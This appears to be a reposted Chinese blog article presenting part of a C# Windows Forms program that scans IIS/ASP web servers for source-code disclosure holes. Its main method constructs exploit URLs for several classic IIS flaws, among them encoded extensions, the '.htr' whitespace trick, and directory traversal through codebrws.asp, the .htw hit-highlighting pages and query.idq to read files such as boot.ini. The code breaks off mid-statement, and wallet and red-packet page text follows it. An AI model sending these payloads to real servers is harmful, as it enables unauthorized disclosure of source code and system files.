一个用c#写的扫描asp源码漏洞的应用程序(2)

本文介绍了一种通过解析URL来获取文件相关信息的方法,包括文件全名、扩展名及路径等,并展示了如何根据不同情况构造新的请求URL。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

导读:
  //主要方法
  protected void btnGo_Click (object sender, System.EventArgs e)
  {
  
  //解析url
  string strServer = this.txtServer.Text ;
  string strUrl = this.txtFileName.Text ;
  char [] point = {'.'} ;//定义分割符为"."
  char[] line = {'/'} ;//定义分割符为"."
  string [] arrString = strUrl.Split(line) ;
  
  //求asp文件全名
  string strFileName = arrString[arrString.Length - 1] ;
  //求从根目录下的路径
  string strPath = strUrl.Substring( 0 ,
  strUrl.Length - strFileName.Length) ;
  
  //解析文件全名
  arrString = strFileName.Split(point) ;
  //求文件扩展名
  string strLast = arrString[arrString.Length - 1] ;
  //求文件名
  string strFirst = strFileName.Substring( 0 ,
  strFileName.Length - strLast.Length - 1) ;
  
  
  
  //使按钮、输入框等失效
  this.txtServer.ReadOnly = true ;
  this.txtFileName.ReadOnly = true ;
  this.btnClear.Enabled = false ;
  this.btnGo.Enabled = false ;
  
  
  if (this.txtServer.Text == "http://" || this.txtFileName.Text == ""
  || this.txtServer.Text.Trim()== "" ||
  this.txtServer.Text.Substring(0,7) != "http://")
  {
  MessageBox.Show("请输入正确的主机名和文件名!") ;
  this.txtServer.Focus() ;
  }
  else
  {
  this.txtResult.Visible = true ;
  this.txtResult.ReadOnly = true ;
  this.barStatus.Text = "正在连结主机…" ;
  
  string strRequestFile ;
  
  switch (this.cboMethod.SelectedIndex)
  {
  case 0: //直接读取
  strRequestFile = strServer + strUrl ;
  break ;
  case 5 : //%2e%41sp
  strRequestFile = strServer + strPath + strFirst
  + "%2e%41sp" ;
  break ;
  case 8 : //longhtr
  strRequestFile = strServer + strUrl
  + "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
  + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
  + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr" ;
  break ;
  
  case 10: //codebrws.asp
  strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
  + strUrl ;
  break ;
  
  case 11: //showcode.asp
  strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
  + "/msadc/../../../../boot.ini" ;
  break;
  
  case 12 : //null.htw
  strRequestFile = strServer + "/null.htw?CiWebHitsFile="
  + strUrl + "%20&CiRestriction=none&CiHiliteType=Full" ;
  break ;
  case 13 : //qfullhit.htw
  strRequestFile = strServer + "/iissamples/issamples/oop/qfullhit.htw?"
  + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
  + "&CiHiliteType=Full";
  break ;
  
  case 14 : //qsumrhit.htw
  strRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit.htw?"
  + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
  + "&CiHiliteType=Full";
  break ;
  
  case 15 : //query.idq
  strRequestFile = strServer + "/query.idq?CiTemplate=/../../boot.ini"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
  + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
  + "%20%20%20%2

本文转自
http://study.qqcf.com/web/224/24048.htm
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值